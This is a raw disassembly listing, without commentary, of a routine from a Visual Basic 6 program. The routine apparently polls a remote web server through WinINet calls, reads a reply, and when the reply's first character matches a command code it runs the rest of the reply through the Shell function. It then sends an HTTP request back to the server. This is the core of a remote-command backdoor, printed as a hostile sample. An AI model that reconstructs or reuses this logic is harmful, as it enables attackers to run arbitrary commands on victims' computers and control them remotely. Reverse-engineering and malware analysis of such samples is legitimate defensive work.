004047acand ecx, -2
004047afmov [ebp+8], ecx
004047b2mov [ebp-12], 0
004047b9mov edx, [ebp+8]
004047bcmov eax, [edx]
004047bemov ecx, [ebp+8]
004047c1push ecx
004047c2call [eax+4]
004047c5mov [ebp-4], 1
004047ccmov [ebp-4], 2
004047d3push -1
004047d5call imp:msvbvm60!__vbaOnError
004047dbmov [ebp-4], 3
004047e2mov edx, [ebp+8]
004047e5mov eax, [edx]
004047e7mov ecx, [ebp+8]
004047eapush ecx
004047ebcall [eax+784]
004047f1push eax
004047f2lea edx, [ebp-108]
004047f5push edx
004047f6call imp:msvbvm60!__vbaObjSet
004047fcmov [ebp-212], eax
00404802lea eax, [ebp-84]
00404805push eax
00404806mov ecx, [ebp-212]
0040480cmov edx, [ecx]
0040480emov eax, [ebp-212]
00404814push eax
00404815call [edx+80]
00404818fnclex
0040481amov [ebp-216], eax
00404820cmp [ebp-216], 0
00404827jge 0x40484c
00404829push 80
0040482bpush 0x403124
00404830mov ecx, [ebp-212]
00404836push ecx
00404837mov edx, [ebp-216]
0040483dpush edx
0040483ecall imp:msvbvm60!__vbaHresultCheckObj
00404844mov [ebp-256], eax
0040484ajmp 0x404856
0040484c
0040484cloc_40484c:
0040484cmov [ebp-256], 0
00404856
00404856loc_404856:
00404856mov eax, [ebp-84]
00404859push eax
0040485acall imp:msvbvm60!__vbaR8Str
00404860fcomp [0x401310]
00404866fnstsw ax
00404868test ah, 64
0040486bje 0x404879
0040486dmov [ebp-260], 1
00404877jmp 0x404883
00404879
00404879loc_404879:
00404879mov [ebp-260], 0
00404883
00404883loc_404883:
00404883mov ecx, [ebp-260]
00404889neg ecx
0040488bmov [ebp-220], cx
00404892lea ecx, [ebp-84]
00404895call imp:msvbvm60!__vbaFreeStr
0040489blea ecx, [ebp-108]
0040489ecall imp:msvbvm60!__vbaFreeObj
004048a4movsx edx, [ebp-220]
004048abtest edx, edx
004048adje 0x40525e
004048b3mov [ebp-4], 4
004048bamov eax, [ebp+8]
004048bdmov ecx, [eax]
004048bfmov edx, [ebp+8]
004048c2push edx
004048c3call [ecx+784]
004048c9push eax
004048calea eax, [ebp-108]
004048cdpush eax
004048cecall imp:msvbvm60!__vbaObjSet
004048d4mov [ebp-212], eax
004048dapush 0
004048dccall imp:msvbvm60!__vbaStrI2
004048e2mov edx, eax
004048e4lea ecx, [ebp-84]
004048e7call imp:msvbvm60!__vbaStrMove
004048edpush eax
004048eemov ecx, [ebp-212]
004048f4mov edx, [ecx]
004048f6mov eax, [ebp-212]
004048fcpush eax
004048fdcall [edx+84]
00404900fnclex
00404902mov [ebp-216], eax
00404908cmp [ebp-216], 0
0040490fjge 0x404934
00404911push 84
00404913push 0x403124
00404918mov ecx, [ebp-212]
0040491epush ecx
0040491fmov edx, [ebp-216]
00404925push edx
00404926call imp:msvbvm60!__vbaHresultCheckObj
0040492cmov [ebp-264], eax
00404932jmp 0x40493e
00404934
00404934loc_404934:
00404934mov [ebp-264], 0
0040493e
0040493eloc_40493e:
0040493elea ecx, [ebp-84]
00404941call imp:msvbvm60!__vbaFreeStr
00404947lea ecx, [ebp-108]
0040494acall imp:msvbvm60!__vbaFreeObj
00404950mov [ebp-4], 5
00404957push 0
00404959push 0
0040495bpush 0
0040495dpush 0
0040495fpush 0x40268c
00404964lea eax, [ebp-84]
00404967push eax
00404968call imp:msvbvm60!__vbaStrToAnsi
0040496epush eax
0040496fcall InternetOpenA
00404974mov [ebp-200], eax
0040497acall imp:msvbvm60!__vbaSetSystemError
00404980mov ecx, [ebp-200]
00404986mov [ebp-64], ecx
00404989lea ecx, [ebp-84]
0040498ccall imp:msvbvm60!__vbaFreeStr
00404992mov [ebp-4], 6
00404999push 0
0040499bpush 0xffffffff80000000
004049a0push 0
004049a2push 0
004049a4push 0x403138
004049a9push 0x402658
004049aecall imp:msvbvm60!__vbaStrCat
004049b4mov edx, eax
004049b6lea ecx, [ebp-84]
004049b9call imp:msvbvm60!__vbaStrMove
004049bfpush eax
004049c0push 0x40314c
004049c5call imp:msvbvm60!__vbaStrCat
004049cbmov edx, eax
004049cdlea ecx, [ebp-88]
004049d0call imp:msvbvm60!__vbaStrMove
004049d6push eax
004049d7mov edx, [ebp+8]
004049damov eax, [edx+56]
004049ddpush eax
004049decall imp:msvbvm60!__vbaStrCat
004049e4mov edx, eax
004049e6lea ecx, [ebp-92]
004049e9call imp:msvbvm60!__vbaStrMove
004049efpush eax
004049f0push 0x403154
004049f5call imp:msvbvm60!__vbaStrCat
004049fbmov edx, eax
004049fdlea ecx, [ebp-96]
00404a00call imp:msvbvm60!__vbaStrMove
00404a06push eax
00404a07lea ecx, [ebp-100]
00404a0apush ecx
00404a0bcall imp:msvbvm60!__vbaStrToAnsi
00404a11push eax
00404a12mov edx, [ebp-64]
00404a15push edx
00404a16call InternetOpenUrlA
00404a1bmov [ebp-200], eax
00404a21call imp:msvbvm60!__vbaSetSystemError
00404a27mov eax, [ebp-200]
00404a2dmov [ebp-60], eax
00404a30lea ecx, [ebp-100]
00404a33push ecx
00404a34lea edx, [ebp-96]
00404a37push edx
00404a38lea eax, [ebp-92]
00404a3bpush eax
00404a3clea ecx, [ebp-88]
00404a3fpush ecx
00404a40lea edx, [ebp-84]
00404a43push edx
00404a44push 5
00404a46call imp:msvbvm60!__vbaFreeStrList
00404a4cadd esp, 24
00404a4fmov [ebp-4], 7
00404a56push 1000
00404a5blea eax, [ebp-128]
00404a5epush eax
00404a5fcall imp:msvbvm60!rtcSpaceVar
00404a65lea ecx, [ebp-128]
00404a68push ecx
00404a69call imp:msvbvm60!__vbaStrVarMove
00404a6fmov edx, eax
00404a71lea ecx, [ebp-68]
00404a74call imp:msvbvm60!__vbaStrMove
00404a7alea ecx, [ebp-128]
00404a7dcall imp:msvbvm60!__vbaFreeVar
00404a83mov [ebp-4], 8
00404a8alea edx, [ebp-48]
00404a8dpush edx
00404a8epush 1000
00404a93mov eax, [ebp-68]
00404a96push eax
00404a97lea ecx, [ebp-84]
00404a9apush ecx
00404a9bcall imp:msvbvm60!__vbaStrToAnsi
00404aa1push eax
00404aa2mov edx, [ebp-60]
00404aa5push edx
00404aa6call InternetReadFile
00404aabmov [ebp-196], ax
00404ab2call imp:msvbvm60!__vbaSetSystemError
00404ab8mov eax, [ebp-84]
00404abbpush eax
00404abclea ecx, [ebp-68]
00404abfpush ecx
00404ac0call imp:msvbvm60!__vbaStrToUnicode
00404ac6movsx edx, [ebp-196]
00404acdmov [ebp-52], edx
00404ad0lea ecx, [ebp-84]
00404ad3call imp:msvbvm60!__vbaFreeStr
00404ad9mov [ebp-4], 9
00404ae0mov [ebp-120], 4
00404ae7mov [ebp-128], 2
00404aeelea eax, [ebp-68]
00404af1mov [ebp-168], eax
00404af7mov [ebp-176], 16392
00404b01lea ecx, [ebp-128]
00404b04push ecx
00404b05push 1
00404b07lea edx, [ebp-176]
00404b0dpush edx
00404b0elea eax, [ebp-144]
00404b14push eax
00404b15call imp:msvbvm60!rtcMidCharVar
00404b1blea ecx, [ebp-144]
00404b21push ecx
00404b22call imp:msvbvm60!__vbaStrVarMove
00404b28mov edx, eax
00404b2alea ecx, [ebp-36]
00404b2dcall imp:msvbvm60!__vbaStrMove
00404b33lea edx, [ebp-144]
00404b39push edx
00404b3alea eax, [ebp-128]
00404b3dpush eax
00404b3epush 2
00404b40call imp:msvbvm60!__vbaFreeVarList
00404b46add esp, 12
00404b49mov [ebp-4], 10
00404b50lea ecx, [ebp-68]
00404b53mov [ebp-168], ecx
00404b59mov [ebp-176], 16392
00404b63lea edx, [ebp-176]
00404b69push edx
00404b6alea eax, [ebp-128]
00404b6dpush eax
00404b6ecall imp:msvbvm60!rtcTrimVar
00404b74mov ecx, [ebp-68]
00404b77push ecx
00404b78call imp:msvbvm60!__vbaLenBstr
00404b7emov [ebp-136], eax
00404b84mov [ebp-144], 3
00404b8elea edx, [ebp-144]
00404b94push edx
00404b95push 5
00404b97lea eax, [ebp-128]
00404b9apush eax
00404b9blea ecx, [ebp-160]
00404ba1push ecx
00404ba2call imp:msvbvm60!rtcMidCharVar
00404ba8lea edx, [ebp-160]
00404baepush edx
00404bafcall imp:msvbvm60!__vbaStrVarMove
00404bb5mov edx, eax
00404bb7lea ecx, [ebp-56]
00404bbacall imp:msvbvm60!__vbaStrMove
00404bc0lea eax, [ebp-160]
00404bc6push eax
00404bc7lea ecx, [ebp-144]
00404bcdpush ecx
00404bcelea edx, [ebp-128]
00404bd1push edx
00404bd2push 3
00404bd4call imp:msvbvm60!__vbaFreeVarList
00404bdaadd esp, 16
00404bddmov [ebp-4], 11
00404be4mov eax, [ebp-72]
00404be7push eax
00404be8call InternetCloseHandle
00404bedcall imp:msvbvm60!__vbaSetSystemError
00404bf3mov [ebp-4], 12
00404bfamov ecx, [ebp-64]
00404bfdpush ecx
00404bfecall InternetCloseHandle
00404c03call imp:msvbvm60!__vbaSetSystemError
00404c09mov [ebp-4], 13
00404c10mov edx, [ebp-60]
00404c13push edx
00404c14call InternetCloseHandle
00404c19call imp:msvbvm60!__vbaSetSystemError
00404c1fmov [ebp-4], 14
00404c26mov edx, [ebp-36]
00404c29lea ecx, [ebp-228]
00404c2fcall imp:msvbvm60!__vbaStrCopy
00404c35mov [ebp-4], 15
00404c3cmov eax, [ebp-228]
00404c42push eax
00404c43push 0x403164
00404c48call imp:msvbvm60!__vbaStrCmp
00404c4etest eax, eax
00404c50jne 0x404ee8
00404c56mov [ebp-4], 16
00404c5dmov ecx, [ebp-56]
00404c60push ecx
00404c61call imp:msvbvm60!__vbaLenBstr
00404c67sub eax, 1
00404c6ajo 0x405453
00404c70mov [ebp-120], eax
00404c73mov [ebp-128], 3
00404c7alea edx, [ebp-56]
00404c7dmov [ebp-168], edx
00404c83mov [ebp-176], 16392
00404c8dlea eax, [ebp-128]
00404c90push eax
00404c91push 1
00404c93lea ecx, [ebp-176]
00404c99push ecx
00404c9alea edx, [ebp-144]
00404ca0push edx
00404ca1call imp:msvbvm60!rtcMidCharVar
00404ca7lea eax, [ebp-144]
00404cadpush eax
00404caecall imp:msvbvm60!__vbaStrVarMove
00404cb4mov edx, eax
00404cb6lea ecx, [ebp-56]
00404cb9call imp:msvbvm60!__vbaStrMove
00404cbflea ecx, [ebp-144]
00404cc5push ecx
00404cc6lea edx, [ebp-128]
00404cc9push edx
00404ccapush 2
00404ccccall imp:msvbvm60!__vbaFreeVarList
00404cd2add esp, 12
00404cd5mov [ebp-4], 17
00404cdclea eax, [ebp-56]
00404cdfmov [ebp-168], eax
00404ce5mov [ebp-176], 16392
00404cefpush 0
00404cf1lea ecx, [ebp-176]
00404cf7push ecx
00404cf8call imp:msvbvm60!rtcShell
00404cfefstp [ebp-208]
00404d04mov [ebp-4], 18
00404d0bpush 0
00404d0dpush 0
00404d0fpush 0
00404d11push 0
00404d13push 0x40268c
00404d18lea edx, [ebp-84]
00404d1bpush edx
00404d1ccall imp:msvbvm60!__vbaStrToAnsi
00404d22push eax
00404d23call InternetOpenA
00404d28mov [ebp-200], eax
00404d2ecall imp:msvbvm60!__vbaSetSystemError
00404d34mov eax, [ebp-200]
00404d3amov [ebp-64], eax
00404d3dlea ecx, [ebp-84]
00404d40call imp:msvbvm60!__vbaFreeStr
00404d46mov [ebp-4], 19
00404d4dpush 0
00404d4fpush 0
00404d51push 3
00404d53push 0x403174
00404d58lea ecx, [ebp-92]
00404d5bpush ecx
00404d5ccall imp:msvbvm60!__vbaStrToAnsi
00404d62push eax
00404d63push 0x403174
00404d68lea edx, [ebp-88]
00404d6bpush edx
00404d6ccall imp:msvbvm60!__vbaStrToAnsi
00404d72push eax
00404d73push 80
00404d75push 0x402658
00404d7alea eax, [ebp-84]
00404d7dpush eax
00404d7ecall imp:msvbvm60!__vbaStrToAnsi
00404d84push eax
00404d85mov ecx, [ebp-64]
00404d88push ecx
00404d89call InternetConnectA
00404d8emov [ebp-200], eax
00404d94call imp:msvbvm60!__vbaSetSystemError
00404d9amov edx, [ebp-200]
00404da0mov [ebp-60], edx
00404da3lea eax, [ebp-92]
00404da6push eax
00404da7lea ecx, [ebp-88]
00404daapush ecx
00404dablea edx, [ebp-84]
00404daepush edx
00404dafpush 3
00404db1call imp:msvbvm60!__vbaFreeStrList
00404db7add esp, 16
00404dbamov [ebp-4], 20
00404dc1push 0
00404dc3push 0xffffffff80000000
00404dc8push 0
00404dcapush 0
00404dccpush 0x402f00
00404dd1lea eax, [ebp-104]
00404dd4push eax
00404dd5call imp:msvbvm60!__vbaStrToAnsi
00404ddbpush eax
00404ddcpush 0x403188
00404de1push 0x4031b0
00404de6call imp:msvbvm60!__vbaStrCat
00404decmov edx, eax
00404deelea ecx, [ebp-84]
00404df1call imp:msvbvm60!__vbaStrMove
00404df7push eax
00404df8mov ecx, [ebp+8]
00404dfbmov edx, [ecx+56]
00404dfepush edx
00404dffcall imp:msvbvm60!__vbaStrCat
00404e05mov edx, eax
00404e07lea ecx, [ebp-88]
00404e0acall imp:msvbvm60!__vbaStrMove
00404e10push eax
00404e11push 0x403154
00404e16call imp:msvbvm60!__vbaStrCat
00404e1cmov edx, eax
00404e1elea ecx, [ebp-96]
00404e21call imp:msvbvm60!__vbaStrMove
00404e27push eax
00404e28lea eax, [ebp-100]
00404e2bpush eax
00404e2ccall imp:msvbvm60!__vbaStrToAnsi
00404e32push eax
00404e33push 0x40317c
00404e38lea ecx, [ebp-92]
00404e3bpush ecx
00404e3ccall imp:msvbvm60!__vbaStrToAnsi
00404e42push eax
00404e43mov edx, [ebp-60]
00404e46push edx
00404e47call HttpOpenRequestA
00404e4cmov [ebp-200], eax
00404e52call imp:msvbvm60!__vbaSetSystemError
00404e58mov eax, [ebp-200]
00404e5emov [ebp-72], eax
00404e61lea ecx, [ebp-104]
00404e64push ecx
00404e65lea edx, [ebp-100]
00404e68push edx
00404e69lea eax, [ebp-96]
00404e6cpush eax
00404e6dlea ecx, [ebp-92]
00404e70push ecx
00404e71lea edx, [ebp-88]
00404e74push edx
00404e75lea eax, [ebp-84]
00404e78push eax
00404e79push 6
00404e7bcall imp:msvbvm60!__vbaFreeStrList
00404e81add esp, 28
00404e84mov [ebp-4], 21
00404e8bpush 0
00404e8dpush 0
00404e8fcall imp:msvbvm60!__vbaStrI2
00404e95mov edx, eax
00404e97lea ecx, [ebp-84]
00404e9acall imp:msvbvm60!__vbaStrMove
00404ea0push eax
00404ea1lea ecx, [ebp-88]
00404ea4push ecx
00404ea5call imp:msvbvm60!__vbaStrToAnsi
00404eabpush eax
00404eacpush 0
00404eaepush 0
00404eb0mov edx, [ebp-72]
00404eb3push edx
00404eb4call HttpSendRequestA
00404eb9mov [ebp-196], ax
00404ec0call imp:msvbvm60!__vbaSetSystemError
00404ec6movsx eax, [ebp-196]
00404ecdmov [ebp-52], eax
00404ed0lea ecx, [ebp-88]
00404ed3push ecx
00404ed4lea edx, [ebp-84]
00404ed7push edx
00404ed8push 2
00404edacall imp:msvbvm60!__vbaFreeStrList
00404ee0add esp, 12
00404ee3jmp 0x405217
00404ee8
00404ee8loc_404ee8:
00404ee8mov [ebp-4], 22
00404eefmov eax, [ebp-228]
00404ef5push eax
00404ef6push 0x4031c4
00404efbcall imp:msvbvm60!__vbaStrCmp
00404f01test eax, eax
00404f03jne 0x405217
00404f09mov [ebp-4], 23
00404f10mov ecx, [ebp-56]
00404f13push ecx
00404f14call imp:msvbvm60!__vbaLenBstr
00404f1asub eax, 1
00404f1djo 0x405453
00404f23mov [ebp-120], eax
00404f26mov [ebp-128], 3
00404f2dlea edx, [ebp-56]
00404f30mov [ebp-168], edx
00404f36mov [ebp-176], 16392
00404f40lea eax, [ebp-128]
00404f43push eax
00404f44push 1
00404f46lea ecx, [ebp-176]
00404f4cpush ecx
00404f4dlea edx, [ebp-144]
00404f53push edx
00404f54call imp:msvbvm60!rtcMidCharVar
00404f5alea eax, [ebp-144]
00404f60push eax
00404f61call imp:msvbvm60!__vbaStrVarMove
00404f67mov edx, eax
00404f69lea ecx, [ebp-56]
00404f6ccall imp:msvbvm60!__vbaStrMove
00404f72lea ecx, [ebp-144]
00404f78push ecx
00404f79lea edx, [ebp-128]
00404f7cpush edx
00404f7dpush 2
00404f7fcall imp:msvbvm60!__vbaFreeVarList
00404f85add esp, 12
00404f88mov [ebp-4], 24
00404f8fmov edx, 0x4031d4
00404f94lea ecx, [ebp-88]
00404f97call imp:msvbvm60!__vbaStrCopy
00404f9dmov edx, 0x402658
00404fa2lea ecx, [ebp-84]
00404fa5call imp:msvbvm60!__vbaStrCopy
00404fablea eax, [ebp-92]
00404faepush eax
00404faflea ecx, [ebp-56]
00404fb2push ecx
00404fb3lea edx, [ebp-88]
00404fb6push edx
00404fb7lea eax, [ebp-84]
00404fbapush eax
00404fbbmov ecx, [ebp+8]
00404fbemov edx, [ecx]
00404fc0mov eax, [ebp+8]
00404fc3push eax
00404fc4call [edx+1784]
00404fcamov [ebp-212], eax
00404fd0cmp [ebp-212], 0
00404fd7jge 0x404ffc
00404fd9push 1784
00404fdepush 0x402754
00404fe3mov ecx, [ebp+8]
00404fe6push ecx
00404fe7mov edx, [ebp-212]
00404fedpush edx
00404feecall imp:msvbvm60!__vbaHresultCheckObj
00404ff4mov [ebp-268], eax
00404ffajmp 0x405006
00404ffc
00404ffcloc_404ffc:
00404ffcmov [ebp-268], 0
00405006
00405006loc_405006:
00405006mov eax, [ebp-92]
00405009mov [ebp-252], eax
0040500fmov [ebp-92], 0
00405016mov edx, [ebp-252]
0040501clea ecx, [ebp-68]
0040501fcall imp:msvbvm60!__vbaStrMove
00405025lea ecx, [ebp-88]
00405028push ecx
00405029lea edx, [ebp-84]
0040502cpush edx
0040502dpush 2
0040502fcall imp:msvbvm60!__vbaFreeStrList
00405035add esp, 12
00405038mov [ebp-4], 25
0040503fpush 0
00405041push 0
00405043push 0
00405045push 0
00405047push 0x40268c
0040504clea eax, [ebp-84]
0040504fpush eax
00405050call imp:msvbvm60!__vbaStrToAnsi
00405056push eax
00405057call InternetOpenA
0040505cmov [ebp-200], eax
00405062call imp:msvbvm60!__vbaSetSystemError
00405068mov ecx, [ebp-200]
0040506emov [ebp-64], ecx
00405071lea ecx, [ebp-84]
00405074call imp:msvbvm60!__vbaFreeStr
0040507amov [ebp-4], 26
00405081push 0
00405083push 0
00405085push 3
00405087push 0x403174
0040508clea edx, [ebp-92]
0040508fpush edx
00405090call imp:msvbvm60!__vbaStrToAnsi
00405096push eax
00405097push 0x403174
0040509clea eax, [ebp-88]
0040509fpush eax
004050a0call imp:msvbvm60!__vbaStrToAnsi
004050a6push eax
004050a7push 80
004050a9push 0x402658
004050aelea ecx, [ebp-84]
004050b1push ecx
004050b2call imp:msvbvm60!__vbaStrToAnsi
004050b8push eax
004050b9mov edx, [ebp-64]
004050bcpush edx
004050bdcall InternetConnectA
004050c2mov [ebp-200], eax
004050c8call imp:msvbvm60!__vbaSetSystemError
004050cemov eax, [ebp-200]
004050d4mov [ebp-60], eax
004050d7lea ecx, [ebp-92]
004050dapush ecx
004050dblea edx, [ebp-88]
004050depush edx
004050dflea eax, [ebp-84]
004050e2push eax
004050e3push 3
004050e5call imp:msvbvm60!__vbaFreeStrList
004050ebadd esp, 16
004050eemov [ebp-4], 27
004050f5push 0
004050f7push 0xffffffff80000000
004050fcpush 0
004050fepush 0
00405100push 0x402f00
00405105lea ecx, [ebp-104]
00405108push ecx
00405109call imp:msvbvm60!__vbaStrToAnsi
0040510fpush eax
00405110push 0x403188
00405115push 0x4031b0
0040511acall imp:msvbvm60!__vbaStrCat
00405120mov edx, eax
00405122lea ecx, [ebp-84]
00405125call imp:msvbvm60!__vbaStrMove
0040512bpush eax
0040512cmov edx, [ebp+8]
0040512fmov eax, [edx+56]
00405132push eax
00405133call imp:msvbvm60!__vbaStrCat
00405139mov edx, eax
0040513blea ecx, [ebp-88]
0040513ecall imp:msvbvm60!__vbaStrMove
00405144push eax
00405145push 0x403154
0040514acall imp:msvbvm60!__vbaStrCat
00405150mov edx, eax
00405152lea ecx, [ebp-96]
00405155call imp:msvbvm60!__vbaStrMove
0040515bpush eax
0040515clea ecx, [ebp-100]
0040515fpush ecx
00405160call imp:msvbvm60!__vbaStrToAnsi
00405166push eax
00405167push 0x40317c
0040516clea edx, [ebp-92]
0040516fpush edx
00405170call imp:msvbvm60!__vbaStrToAnsi
00405176push eax
00405177mov eax, [ebp-60]
0040517apush eax
0040517bcall HttpOpenRequestA
00405180mov [ebp-200], eax
00405186call imp:msvbvm60!__vbaSetSystemError
0040518cmov ecx, [ebp-200]
00405192mov [ebp-72], ecx
00405195lea edx, [ebp-104]
00405198push edx
00405199lea eax, [ebp-100]
0040519cpush eax
0040519dlea ecx, [ebp-96]
004051a0push ecx
004051a1lea edx, [ebp-92]
004051a4push edx
004051a5lea eax, [ebp-88]
004051a8push eax
004051a9lea ecx, [ebp-84]
004051acpush ecx
004051adpush 6
004051afcall imp:msvbvm60!__vbaFreeStrList
004051b5add esp, 28
004051b8mov [ebp-4], 28
004051bfpush 0
004051c1push 0
004051c3call imp:msvbvm60!__vbaStrI2
004051c9mov edx, eax
004051cblea ecx, [ebp-84]
004051cecall imp:msvbvm60!__vbaStrMove
004051d4push eax
004051d5lea edx, [ebp-88]
004051d8push edx
004051d9call imp:msvbvm60!__vbaStrToAnsi
004051dfpush eax
004051e0push 0
004051e2push 0
004051e4mov eax, [ebp-72]
004051e7push eax
004051e8call HttpSendRequestA
004051edmov [ebp-196], ax
004051f4call imp:msvbvm60!__vbaSetSystemError
004051famovsx ecx, [ebp-196]
00405201mov [ebp-52], ecx
00405204lea edx, [ebp-88]
00405207push edx
00405208lea eax, [ebp-84]
0040520bpush eax
0040520cpush 2
0040520ecall imp:msvbvm60!__vbaFreeStrList
00405214add esp, 12
00405217
00405217loc_405217:
00405217mov [ebp-4], 30
0040521emov ecx, [ebp-72]
00405221push ecx
00405222call InternetCloseHandle
00405227call imp:msvbvm60!__vbaSetSystemError
0040522dmov [ebp-4], 31
00405234mov edx, [ebp-64]
00405237push edx
00405238call InternetCloseHandle
0040523dcall imp:msvbvm60!__vbaSetSystemError
00405243mov [ebp-4], 32
0040524amov eax, [ebp-60]
0040524dpush eax
0040524ecall InternetCloseHandle
00405253call imp:msvbvm60!__vbaSetSystemError
00405259jmp 0x4053a1
0040525e
0040525eloc_40525e:
0040525emov [ebp-4], 34
00405265mov ecx, [ebp+8]
00405268mov edx, [ecx]
0040526amov eax, [ebp+8]
0040526dpush eax
0040526ecall [edx+784]
00405274push eax
00405275lea ecx, [ebp-112]
00405278push ecx
00405279call imp:msvbvm60!__vbaObjSet
0040527fmov [ebp-220], eax
00405285mov edx, [ebp+8]
00405288mov eax, [edx]
0040528amov ecx, [ebp+8]
0040528dpush ecx
0040528ecall [eax+784]
00405294push eax
00405295lea edx, [ebp-108]
00405298push edx
00405299call imp:msvbvm60!__vbaObjSet
0040529fmov [ebp-212], eax
004052a5lea eax, [ebp-84]
004052a8push eax
004052a9mov ecx, [ebp-212]
004052afmov edx, [ecx]
004052b1mov eax, [ebp-212]
004052b7push eax
004052b8call [edx+80]
004052bbfnclex
004052bdmov [ebp-216], eax
004052c3cmp [ebp-216], 0
004052cajge 0x4052ef
004052ccpush 80
004052cepush 0x403124
004052d3mov ecx, [ebp-212]
004052d9push ecx
004052damov edx, [ebp-216]
004052e0push edx
004052e1call imp:msvbvm60!__vbaHresultCheckObj
004052e7mov [ebp-272], eax
004052edjmp 0x4052f9
004052ef
004052efloc_4052ef:
004052efmov [ebp-272], 0
004052f9
004052f9loc_4052f9:
004052f9mov eax, [ebp-84]
004052fcpush eax
004052fdcall imp:msvbvm60!rtcR8ValFromBstr
00405303fadd [0x401308]
00405309fnstsw ax
0040530btest al, 13
0040530djne 0x40544e
00405313sub esp, 8
00405316fstp [esp]
00405319call imp:msvbvm60!__vbaStrR8
0040531fmov edx, eax
00405321lea ecx, [ebp-88]
00405324call imp:msvbvm60!__vbaStrMove
0040532apush eax
0040532bmov ecx, [ebp-220]
00405331mov edx, [ecx]
00405333mov eax, [ebp-220]
00405339push eax
0040533acall [edx+84]
0040533dfnclex
0040533fmov [ebp-224], eax
00405345cmp [ebp-224], 0
0040534cjge 0x405371
0040534epush 84
00405350push 0x403124
00405355mov ecx, [ebp-220]
0040535bpush ecx
0040535cmov edx, [ebp-224]
00405362push edx
00405363call imp:msvbvm60!__vbaHresultCheckObj
00405369mov [ebp-276], eax
0040536fjmp 0x40537b
00405371
00405371loc_405371:
00405371mov [ebp-276], 0
0040537b
0040537bloc_40537b:
0040537blea eax, [ebp-88]
0040537epush eax
0040537flea ecx, [ebp-84]
00405382push ecx
00405383push 2
00405385call imp:msvbvm60!__vbaFreeStrList
0040538badd esp, 12
0040538elea edx, [ebp-112]
00405391push edx
00405392lea eax, [ebp-108]
00405395push eax
00405396push 2
00405398call imp:msvbvm60!__vbaFreeObjList
0040539eadd esp, 12
004053a1
004053a1loc_4053a1:
004053a1mov [ebp-16], 0
004053a8wait
004053a9push 0x40542c
004053aejmp 0x405404
004053b0
004053b0 8d 4d 98 51 8d 55 9c 52 8d 45 a0 50 8d 4d a4 51 .M.Q.U.R.E.P.M.Q
004053c0 8d 55 a8 52 8d 45 ac 50 6a 06 ff 15 08 11 40 00 .U.R.E.Pj.....@.
004053d0 83 c4 1c 8d 4d 90 51 8d 55 94 52 6a 02 ff 15 20 ....M.Q.U.Rj...
004053e0 10 40 00 83 c4 0c 8d 85 60 ff ff ff 50 8d 8d 70 .@......`...P..p
004053f0 ff ff ff 51 8d 55 80 52 6a 03 ff 15 18 10 40 00 ...Q.U.Rj.....@.
00405400 83 c4 10 c3 ....
00405404
00405404loc_405404:
00405404lea ecx, [ebp-228]
0040540acall imp:msvbvm60!__vbaFreeStr
00405410lea ecx, [ebp-36]
00405413call imp:msvbvm60!__vbaFreeStr
00405419lea ecx, [ebp-56]
0040541ccall imp:msvbvm60!__vbaFreeStr
00405422lea ecx, [ebp-68]
00405425call imp:msvbvm60!__vbaFreeStr
0040542bret
0040542cmov eax, [ebp+8]
0040542fmov ecx, [eax]
00405431mov edx, [ebp+8]
00405434push edx
00405435call [ecx+8]
00405438mov eax, [ebp-16]
0040543bmov ecx, [ebp-32]
0040543emov [0x0], ecx
00405445pop edi
00405446pop esi
00405447pop ebx
00405448mov esp, ebp
0040544apop ebp
0040544bret 4
0040544e
0040544eloc_40544e:
0040544ejmp 0x4014ac
00405453
00405453loc_405453:
00405453call imp:msvbvm60!__vbaErrorOverflow
00405459
00405459 cc cc cc cc cc cc cc .......
00404770